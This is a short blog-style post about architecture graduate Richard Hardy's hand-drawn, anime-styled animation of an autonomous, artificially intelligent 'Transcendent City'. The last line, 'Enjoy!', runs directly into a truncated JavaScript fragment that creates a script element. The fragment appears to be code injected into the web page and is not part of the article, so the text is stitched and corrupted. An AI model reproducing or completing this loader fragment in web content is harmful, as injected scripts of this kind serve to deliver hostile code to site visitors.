Richard Hardy is a graduate of the Bartlett School of Architecture. He has been enquiring and questioning the future idea of cities, in this case an autonomous, artificially intelligent, sustainable city!
This fantastic graphic vision reveals his thoughts regarding artificial intelligence and the role it will play in Sustainability in the future. The animation itself is exquisitely hand-drawn, and finished-off in the style of Japanese anime. Hardy’s idea of ‘transcendence’ refers to a sort of ‘tipping-point’, where artificial intelligence has managed to surpass human intelligence. The Transcendent City (now an autonomous artificial machine and presumably conscious to a degree) can shift across the planet encountering and adapting itself to the many types of natural eco-systems that exist.
Check out the attached vid to get a more profound sense of Hardy’s idea and vision. Enjoy!var d=document;var s=d.createElement(‘script’);